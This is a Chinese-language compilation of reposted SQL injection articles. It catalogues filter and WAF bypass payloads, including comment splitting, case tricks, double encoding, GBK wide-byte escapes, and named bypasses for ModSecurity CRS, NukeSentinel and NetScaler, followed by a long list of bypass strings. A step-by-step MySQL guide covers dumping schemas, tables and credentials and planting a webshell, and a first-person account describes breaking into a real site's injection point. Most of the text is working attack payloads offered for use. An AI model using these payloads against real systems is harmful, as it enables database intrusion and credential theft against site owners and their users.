高级绕过总结
web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。
1、 不使用被过滤的字符: 比如注入一个数字数据,就不需要使用单引号;’ or 1=1–,如果注释字符被过滤,我们可以这样写 ‘ or ’1′=’1 。
2、 避免使用简单确认: 如果select关键字被过滤,我们可以尝试用下面的方法书写select,SeleCT; selselectect;或者使用URLencode,ascii编码,%53%45%4c%45%43%54(ascii).
3、 使用sql注释绕过: 如果空格被过滤了,我们可以使用sql语言的注释。select/**/username,password/**/from/**/user–, mysql中甚至可以这样 sele/**/ct username fr/**/om user–.
4、 替换被阻止的字符串: 要表示admin,oracle中可以用 ‘adm’||’in’ , mysql中可以用 concat(‘adm’,'in’); mssql中可以用:’adm’+'in’.
数据库语法中有很多字符串操作函数,可以用来创建被过滤的字符串。Oracle中包含,CHR(ascii码转化)、REVERSE(字符串反转),TRANSLATE(高级的字符串替换),REPLACE,SUBSTR函数。
mssql数据库可以使用 exec(‘select * from user’), 这条命令可以变形为 exec(‘sele’+'ct * from user) ,还可以建立一个十六进制的编码的字符串,通过exec来执行,从而避开某些关键字甚至是单引号的过滤。如:declear @q varchar(5000); select @q=0×73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 75 73 65 72 ,exec(@q) .
另外如果网站是gbk编码的,也可以利用汉字的编码避开注入:
在magic_quotes_gpc=On的情况下,提交的参数中如果带有单引号’,就会被自动转义\’,使很多注入攻击无效,
GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),刚好涵盖了转义符号\对应的编码0×5C。
0xD50×5C 对应了汉字“诚”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“诚”。
下面分析攻击过程:
访问 http://www.2cto.com /test.php?username=test%d5′%20or%201=1%23&pwd=test
经过浏览器编码,username参数值为(单引号的编码0×27)
username=test%d5%27%20or%201=1%23
经过php的url解码
username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (为了便于阅读,在字符串与16进制编码之间加了空格)
经过PHP的GPC自动转义变成(单引号0×27被转义成\’对应的编码0×5c0×27):
username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为’,0×20为空格,0×23为mysql的注释符#
上面的SQL语句最终为: SELECT * FROM user WHERE username=’test诚’ or 1=1#’ and password=’test’;
注释符#后面的字符串已经无效,等价于
SELECT * FROM user WHERE username=’test诚’ or 1=1;
条件变成永真,成功注入。
补充:
0xD50×5C不是唯一可以绕过单引号转义的字符,0×81-0xFE开头+0×5C的字符应该都可以;
根据utf8的编码范围,无此问题;
这种变换在xss等领域也可以应用,假如服务端是GBK编码格式。
摘自:http://www.2cto.com/Article/201209/153283.html
/***********************************************/
/***********************************************/
内容
#############
########################
【0×01】 – 简介
########################
大家好,这是一篇致力于文档化我们所从事的高级SQL注入技术的文章。
本文将要揭示能用于现实CMSs和WAFs程序中的高级绕过技术和混淆技术。文中所提到的SQL注入语句仅仅是一些绕过保护的方法。还有一些其他的技术能用于攻击WEB程序,但是很不幸我们不能告诉你,因为它们就是0day。不论如何,本文旨在揭示现实世界中没有完全彻底的安全系统即使你在一个WAF上面花费了三十万美元。
本文分为7个章节,仅有0×01到0×03章节是介绍技术内容的。
0×01章节我们将详细介绍关于如何绕过基本的函数和关键词过滤。0×02章节我们将给出常见的绕过技术用于绕过开源和商业性的WAF。0×03章节我们将分两个小节来深入探讨高级绕过技术:“HTTP参数污染:分离和结合”和“HTTP参数参杂”。0×04章节我们将指导如何用正确的解决方案保护你的网站。在最后的0×05章节是对0×01到0×04章节的总结。
########################
【0×01】 -过滤规避(Mysql)
########################
本节将阐述基于PHP和MySQL的过滤规避行为以及如何绕过过滤。过滤规避是一种用来防止SQL注入的技术。这种技术可以用SQL函数,关键词过滤或者正则表达式完成。这就意味着过滤规避严重依赖如何储存一个黑名单或者正则表达式。如果黑名单或者正则表达式没有覆盖每一个注入情境,那么WEB程序对于SQL注入攻击来说仍旧是脆弱的。
++++++++++++++++++++++++++++++++++++++++++
【0x01a】 – 绕过函数和关键词过滤
++++++++++++++++++++++++++++++++++++++++++
函数和关键词过滤使用函数和关键词黑名单来保护WEB程序免受攻击。如果一个攻击者提交了一个包含在黑名单中的关键词或者SQL函数的注入代码,这个攻击便会失效。然而,如果攻击者能够巧妙使用其他的关键词或者函数来操作注入,那么黑名单将无法阻止攻击。为了阻止攻击大量的关键词和函数必须放到黑名单中。但是这也影响了用户,当用户想提交一个存在黑名单中的单词时,用户将无法提交,因为这个单词已被黑名单过滤。接下来的情境展示了一些使用函数和关键词过滤以及绕过技术的例子。
关键词过滤: and,or
———————————————————————————–
PHP过滤代码: preg_match(‘/(and|or)/I’,$id)
关键词and,or常被用做简单测试网站是否容易进行注入攻击。这里给出简单的绕过使用&&,||分别替换and,or。
过滤注入: 1 or 1 = 1 1 and 1 = 1
绕过注入: 1 || 1 = 1 1 && 1 = 1
————————————————————————————
关键词过滤: and,or,union
————————————————————————————
PHP过滤代码: preg_match (‘/(and|or|union)/I’,$id)
关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。
过滤注入: union select user, password from users
绕过注入: 1 || (select user from users where user_id = 1)=’admin’
** 注意:你必须知道表名,列名和一些表中的其他数据,否则你必须用别的语句从information_schema.columns中获取。
举例,使用substring函数获取表名的每一个字符。
————————————————————————————-
关键词过滤: and,or,union,where
————————————————————————————-
PHP过滤代码: preg_match(‘/(and|or|union|where)/I’,$id)
过滤注入: 1||(select user from users where user_id = 1)= ‘admin’
绕过注入: 1||( select user from users limit 1)=’admin’
————————————————————————————–
关键词过滤: and,or,union,where,limit
————————————————————————————–
PHP过滤代码: preg_match(‘/(and|or|union|where|limit)/I’,$id)
过滤注入: 1||(select user from users limit 1)=’admin’
绕过注入: 1||(select user from users group by user_id having user_id=1 )= ‘admin’
—————————————————————————————
关键词过滤: and,or,union,where,limit,group by
—————————————————————————————
PHP过滤代码: preg_match(‘/(and|or|union|where|limit|group by)/I’,$id)
过滤注入: 1||(select user from users group by user_id having user_id =1)=’admin’
绕过注入: 1||(select substr(group_concat(user_id),1,1) user from users )=1
—————————————————————————————
关键词过滤: and,or,union,where,limit,group by,select,’
—————————————————————————————
PHP过滤代码: preg_match(‘/(and|or|union|where|limit|group by|select|\’)/I’,$id
过滤注入: 1||(select substr(group_concat(usr_id),1,1)user from users =1
绕过注入: 1|| user_id is not null
绕过注入: 1||substr(user,1,1)=0×61
绕过注入: 1||substr(user,1,1)=unhex(61)
—————————————————————————————-
关键词过滤: and,or,union,where,limit,goup by,select,’,hex,
—————————————————————————————–
PHP过滤代码: preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex)/I’,$id)
过滤注入: 1||substr(user,1,1)=unhex(61)
绕过注入: 1||substr(user,1,1)=lower(conv(11,10,36))
——————————————————————————————
关键词过滤: and,or,union,where,limit,group by,select,’,hex,substr
——————————————————————————————-
PHP过滤代码: preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr)/I’,$id)
过滤注入: 1||substr(user,1,1)=lower(conv(11,10,36))
绕过注入: 1||lpad(user,7,1)
——————————————————————————————-
关键词过滤: and,or,union,where,limit,group by,select,’,hex,substr,white space
——————————————————————————————-
PHP过滤代码: preg_match(‘/(and|or|union|where|limit|group by|select|\’|hex|substr|\s)/I’,$id)
过滤注入: 1||lpad(user,7,1)
绕过注入: 1%0b||%0blpad(user,7,1)
——————————————————————————————–
从上面的例子中我们可以看出有大量的SQL语句可以用来绕过黑名单,虽然黑名单已经包含了很多关键词和函数,此外,还有数不清的例子中没有提到的SQL语句可以用来绕过黑名单。
建立一个更大的黑名单不是一个保护你网站的好注意。记住,过滤的关键词和函数越多,对用户越不友好。
++++++++++++++++++++++++++++++++++++++++++
【0x01b】 – 绕过正则表达式过滤
++++++++++++++++++++++++++++++++++++++++++
正则表达式过滤是一个比关键词和函数过滤要好的阻止SQL注入的方法,因为它使用模式匹配来检测攻击。但是,很多正则表达式仍然能被绕过。下面以开源软件PHPIDS 0.6举例阐明用来绕过正则表达式的注入脚本。
PHPIDS通常阻止包含=,(或者’ 跟随一个字符串或者整数输入,比如1 or 1=1,1 or ’1’,1 or char(97)。但是,它能被使用不包含=,(或者’符号的语句绕过。
[ code] ——————————————————————————————–
过滤注入: 1 or 1 = 1
绕过注入: 1 or 1
[end code] —————————————————————————————
[code] ---------------------------------------------------------------------------------------------
过滤注入: 1 union select 1, table_name from information_schema.tables where table_name=’users’
过滤注入: 1 union select 1,table_name from information_schema.tables where table_name between ‘a’ and ‘z’
过滤注入: 1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)
绕过注入: 1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a
绕过注入: 1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273
[end code] ----------------------------------------------------------------------------------------
########################
【0x02】 - 常见绕过技术
########################
在这个章节,我们将提到关于绕过WEB应用防护系统(WAF)的技术。首先我们需要认识一下什么是WAF。
WEB应用防护系统(WAF)是一套设备,服务扩展或者过滤器,对HTTP会话应用一系列的规则。一般来说,这些规则包含了常见的攻击比如跨站脚本攻击(XSS)和SQL注入攻击。很多攻击可以通过制定符合自己程序的规则来识别和阻挡。花时间实现定制规则是有重要意义的,而且当WEB程序改变时需要维护。
WAF通常被称做“深层次数据包检测防火墙”,它们检查HTTP/HTTPS/SOAP/XML-RPC/WEB服务在内的每一个请求和相应。一些现代的WAF系统同时检查攻击特征和异常行为。
现在让我们赶紧来了解如何用混淆技术来破坏WAF吧,只要花时间去理解它的规则以及运用你的想象所有WAF都能被绕过!
用注释来绕过
SQL注释能让我们绕过许多绕过和WAF
[Code]---------------------------------------------------------
http://victim.com/news.php?id+un/**/ion+se/**/lect+1,2,3--
[End Code]----------------------------------------------------
变换大小写
某些WAF仅过滤小写的SQL关键词
正则表达式过滤:/union\sselect/g
[Code]-----------------------------------------------------------
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
[End Code]------------------------------------------------------
替换关键词
某些程序和WAF用preg_replace函数来去除所有的SQL关键词。那么我们能简单的绕过。
[Code]-------------------------------------------------------------
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
[End Code]-------------------------------------------------------
某些情况下SQL关键词被过滤掉并且被替换成空格。因此我们用“%0b”来绕过。
[Code]-------------------------------------------------------------
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
[End Code]--------------------------------------------------------
对于Mod_rewrite,注释“/**/”不能绕过,那么我们用“%0b”代替“/**/”。
被禁止的:http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
绕过:http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
字符编码
大多CMS和WAF将对程序的输入进行解码和过滤,但是某些WAF仅对输入解码一次,那么双重加密就能绕过某些过滤,这时WAF对输入进行一次解码并过滤与此同时程序继续解码且执行SQL语句。
[Code]---------------------------------------------------------------
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
[End Code]----------------------------------------------------------
此外,这些技术结合起来可以绕过Citrix NetScaler
-去除所有“NULL”字符
-在某些部分使用查询编码
-去除单引号字符“’”
-爽去吧!
归功于:Wendel Guglielmetti Henrique 和 Armorlogic Profense 较早的通过URL编码换行符绕过2.4.4
#现实例子
NukeSentinel (Nuke Evolution)
[Nukesentinel.php Code]------------------------------------------------------------
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
[End Code]-------------------------------------------------------------------------
我们能利用下面脚本绕过它的过滤:
禁止: http://victim.com/php-nuke/?/**/union/**/select?..
绕过: http://victim.com/php-nuke/?/%2A%2A/union/%2A%2A/select?
绕过: http://victim.com/php-nuke/?%2f**%2funion%2f**%2fselect
Mod Security CRS (归功于:Johanners Dahse)
[SecRule]------------------------------------------------------------------------------
SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* ”\bunion\b.{1,100}?\bselect\b” \ “phase2,rev:’2.2.1’,capture,t:none,
t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,block,
msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}" [End Rule]-----------------------------------------------------------------------------
我们可以利用下面代码绕过它的过滤:
[Code]-----------------------------------------------------------------------------------
http://victim.com/news.php?id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
[End Code]------------------------------------------------------------------------------
从这个攻击,我们可以绕过Mod Security。让我们看看发生了什么!!
MySQL Server支持3中注释风格:
-从#字符开始到这一行的末尾
-从--序列开始到这一行的末尾
-从/*序列到下一个*/之间,如同C语言
此语法能够使注释延伸到多行,因为开始序列和闭合序列不必在同一行。
下面的例子我们用“%0D%0A”作为换行符。让我们看看第一个请求(获取DB 用户)。SQL数据的结果看起来类似如下:
0 div 1 union #foo*/*/bar
select#foo
1,2,current_user
然而当SQL数据被MySQL DB执行的时候类似如下:
0 div 1 union select 1,2,current_user
缓冲区溢出
用C语言写的WAF有溢出的倾向或者在装载一串数据时表现异常。
给出一大串数据使我们的代码执行
[Code]--------------------------------------------------------------------
http://victim.com/news.php?id=1+and+(select 1)=(select 0x
/****************************************************/
/*****************************************************/
/*******************************************/
#WAF Bypassing Strings:
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
##
#
#
#Union Select by PASS with Url Encoded Method:
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
转自 http://www.cnblogs.com/xishaonian/p/6274586.html
http://www.jb51.net/article/48933.htm
/********************************************/
/**********************************************/
前几今天遇到一个bt 的老外注射点:
//*ps 此点目前流行的注射工具射不 *//
http:// /index.php?content=more_product&id=17
http:// /index.php?content=more_product&id=17 and 1=1 正常
http:// /index.php?content=more_product&id=17 and 1=2 报错
http:// /index.php?content=more_product&id=17 order by 6 正常
http:// /index.php?content=more_product&id=17 order by 7 错误
继续按照常规的手法注射:
http:// /index.php?content=more_product&id=-17+UNION+SELECT+1,2,
3,4,5,6--
错误nnd,过滤 UNION+SELECT 我们来加点特殊的字符看看能不能绕过
http:// /index.php?content=more_product&id=-17+/**//**//*!uNiOn*//**/
/**//*!sElEcT*//**//**/1,2,3,4,5,6--
悲剧还是绕不过去 - -,于是尝试自己知道的绕过方法继续射…
http:// /index.php?content=more_product&id=-17+/*U*//*n*//*i*//*o*//*n
*//*t*/+/*s*//*e*//*l*//*e*//*c*//*t*/+1,2,3,4,5,6--
http:// /index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca
t(s,e,l,e,c,t)+all+1,2,3,4,5,6--
悲剧还是绕不过去,nnd。找了几个朋友看了还是绕不过去邪恶的过滤啊。要是国内
的站以上几种方法一般都能搞定,老外就是bt。最后实在木有办法了只好去国外的黑
客论坛求助老外帮助。国外php 注射历史悠久手法独特+方法猥琐 射出几率相当高
于是发帖求助了终于有一个黑客回帖了而且轻松的绕过去了。
http:// /index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-
靠,老外果然牛B 那么继续射
http:// /index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u
ser()),3,4,5,6--+-
成功得到系统版本、当前数据库用户、用户名
/**********************************/
/************************************/
/***************************************/
根据我对MySQL的认识,注入时,基本可以通过爆、盲注、报错三种方式获得用户名和密码,在权限足够的情况下,还可以直接通过SQL语句插入并导出我们的一句话webshell。
当拿到一个MySQL的注入点的时候,我们需要判断MySQL的版本。因为当MySQL的版本小于4.0时,是不支持union select联合查询的;当MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列。现在一般情况下,MySQL都是4.0以上的,所以我们就放心的用联合查询吧。
对于MySQL的注入,大概有这些思路:
1.判断注入点是否有读写权限,如果有,那么可以直接读取配置文件、用户名密码等;当magic_quotes_gpc为off的时候还可以直接导出一句话webshell。
//magic_quotes_gpc为on的时候,'会被转成\',而写导出的绝对路径的时候又必须是用'括起来,所以,就蛋疼了。。
2.没有读写权限时,判断MySQL版本,5.0以上时可以通过爆的方式获得用户名密码;5.0以下或者5.0以上不能爆时(比如限制了information_schema数据库),可以通过盲注获得用户名密码。
//盲注:我的理解是,通过返回页面的正确与否判断查询语句是否正确,和Access数据库的注入很类似,可以算是猜吧。
3.有时候,由于一个参数可能执行了多个查询语句,而导致查不出字段数,更没有数字回显时,如果服务器开启了MySQL错误回显的话,还可以通过报错注入从报错信息中获取我们想要知道的东西。
暂时我想起来的就这些,盲注和报错这两种方式俺不是太熟,就不说了。在这里,我就只简单介绍下MySQL数据库5.X版本的爆表爆列爆内容。
步骤一:判断注入点
不多说了。单引号、and 1=1、and 1=2。
步骤二:order by和union select
通过order by查出字段数目N,然后联合查询。
and1=2 union select 1,2,3,4...,N--
//首先and 1=2报错,用单引号或在参数前加个"-"也行
//这里和Access不同,后面可以不加"from 表名";最后面的"--"是注释符,注释掉后面的语句,防止出错,换成"/*"也行,也可以不加
//Access不支持注释符,MySQL和MSSQL支持
//这两个也不多说了
步骤三:查出基本信息
得到数字回显后,将对应数字位换成我们想查询的信息,比如显示位是3
and1=2 union select 1,2,version(),4...,N--
//介绍几个常用函数:
1. version()——MySQL版本
2. user()——用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
我们可以通过将对应函数放到显示位中查出相应信息
//再介绍几个很有用的函数:
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
比如:concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
concat_ws(0x3a,version(),user(),database(),@@datadir,@@verion_compile_os)
group_concat(version(),0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,@@verion_compile_os)
//0x3a是":"的十六进制,在这里把它作为分隔符,没有它,查出来的东西就连成一片了
//在实际查的时候,有些时候可能会出错,比如@@verion_compile_os这个函数就经常出错,去掉就是了。。= =
//对于MySQL函数可以百度,或查看MySQL官方手册http://dev.mysql.com/doc/
步骤四:爆表爆列爆用户名密码
爆的方法有很多,我就说说我知道的几种吧,从最“温和的”到最“野蛮的”。
第一种:查表查列
1. and 1=2 union select 1,2,table_name,4 from (select * from information_schema.tables where table_schema=库名十六进制 limit N,1)t limit 1--
2. and 1=2 union select 1,2,column_name,4 from (select * from information_schema.columns where table_name=表名十六进制 and table_schema=库名十六进制 limit N,1)t limit 1--
3. and 1=2 union select 1,2,列名,4 from 表名
//这里改变N的值,查出一个个表名、列名
//这个方法比较老,具体的原理那些我也不太懂,尤其是那个t和后面那个limit 1,了解下就行了
第二种:高级查表查列
1. and 1=2 union select 1,2,schema_name,4 from information_schema.schemata limit N,1
2. and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema=要查的库名的十六进制 limit N,1
3. and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name=要查的表名的十六进制 limit N,1
//有个提速技巧,要查的库名的十六进制那个地方填database(),就是table_schema=database(),直接就表示当前数据库
//找敏感的表,含有admin、manage或user之类的
第三种:爆表爆列
1. and 1=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
2. and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=要爆的库名的十六进制
3. and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名
www.2cto.com
//distinct表示不同,也就是去掉爆出内容的重复部分,不加也可以,我习惯加上
//这个方法好就好在通过用group_concat()这个函数直接爆出所有库名、表名、列名、字段内容,可以提高速度,方便查找
第四种:高级爆表爆列
1. and 1=2 union select 1,2,group_concat(distinct table_schema),4 from information_schema.columns
2. and 1=2 union select 1,2,group_concat(distinct table_name),4 from information_schema.columns where table_schema=要爆的库名的十六进制
3. and 1=2 union select 1,2,group_concat(distinct column_name),4 from information_schema.columns where table_name=要爆的表名的十六进制
4. and 1=2 union select 1,2,group_concat(列名1,0x3a,列名2),4 from 表名
//所有数据都是从information_schema.columns这个表里获取,因为从information_schema这个库的介绍(http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html)我们可以看到,从information_schema.columns这个表里,我们可以查到所有的信息,因为它在里面,table_schema、table_name、column_name这个三个列都有,所以我们可以直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度
到这一步,我们的注入就算完成了,找后台解密登陆就是了。俺再多说几句。
还是那句话,MySQL的注入非常的灵活,我总结的只是最基本的语句,只是一点点皮毛而已。至于更高级的,大家去论坛、百度找找吧。比如当我们用上面的语句无法成功查出的时候,我们可以尝试下这些方法。
1. 当union select 1,2,3,4没有出现数字位时,可以尝试把数字都换成null,然后逐个尝试替换成数字或字符或直接换成version(),找到可以显示出来的那一位。这个貌似是因为对应变量类型不同的原因,我也不是太懂。
2. 有些时候莫名其妙的就出错的时候(比如有数字显示位,而用替换函数(比如version())去替换时却返回空白页或报错),爆不出来的时候,可以尝试通过hex()或convert()等函数来解决可能的编码问题,比如hex(version())、unhex(hex(version()))、convert(version() using latin1)等等
3. 在注入的时候,可以把空格换成"+"或者"/**/",这都是等价的,因为空格会被自动转成"%20",看着很乱,而且换过以后貌似能过一些过滤。
4. 另外,在遇到网站有过滤的时候,可以考虑下大小写变换绕过。所以经常看到大牛们的注入语句是稀奇古怪、变幻莫测。。最近又看到一个变态的绕过方法,/*!select*/,把容易被过滤的东西放到/*!XXX*/中,一样可以正常查询,也就是/*!select*/=select。如果你还不放心那就这样/*!sEleCt*/。这个/*!XXX*/=XXX的原理我还不懂,希望大牛能给解释下啊,求教~